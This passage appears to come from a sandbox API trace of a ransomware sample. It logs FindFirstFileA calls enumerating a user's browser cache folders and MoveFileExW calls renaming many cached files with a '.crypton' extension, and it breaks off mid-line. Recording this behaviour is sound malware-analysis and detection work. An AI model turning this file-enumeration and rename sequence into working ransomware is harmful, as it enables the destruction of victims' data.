lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2e8d240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2e8d240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0197.224] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2e8d240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2e8d240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549890 [0197.229] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2eb33a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2eb33a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0197.269] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.crypton"), dwFlags=0x2) returned 0 [0197.269] GetLastError () returned 0x20 [0197.269] GetLastError () returned 0x20 [0197.274] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2f257c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2f257c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0197.279] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2f257c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2f257c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0197.284] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2f257c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2f257c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0197.292] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2f4b920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2f4b920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0197.300] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf2f4b920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2f4b920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0197.305] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0xf2f71a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2f71a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0197.311] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2f71a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2f71a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0197.315] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf2f71a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf2f71a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0197.708] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat.crypton"), dwFlags=0x2) returned 1 [0197.715] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf334fe40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf334fe40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549910 [0197.720] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf334fe40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf334fe40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549950 [0197.730] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js.crypton"), dwFlags=0x2) returned 1 [0197.733] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png.crypton"), dwFlags=0x2) returned 1 [0197.737] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png.crypton"), dwFlags=0x2) returned 1 [0197.739] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png.crypton"), dwFlags=0x2) returned 1 [0197.744] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png.crypton"), dwFlags=0x2) returned 1 [0197.747] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png.crypton"), dwFlags=0x2) returned 1 [0197.750] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png.crypton"), dwFlags=0x2) returned 1 [0197.754] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png.crypton"), dwFlags=0x2) returned 1 [0197.757] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\advertisement.ad[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\advertisement.ad[1].js.crypton"), dwFlags=0x2) returned 1 [0197.760] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png.crypton"), dwFlags=0x2) returned 1 [0197.763] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png.crypton"), dwFlags=0x2) returned 1 [0197.767] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png.crypton"), dwFlags=0x2) returned 1 [0197.770] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png.crypton"), dwFlags=0x2) returned 1 [0197.773] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png.crypton"), dwFlags=0x2) returned 1 [0197.777] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png.crypton"), dwFlags=0x2) returned 1 [0197.787] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.791] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.795] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.804] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.813] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.829] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg.crypton"), dwFlags=0x2) returned 1 [0197.834] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 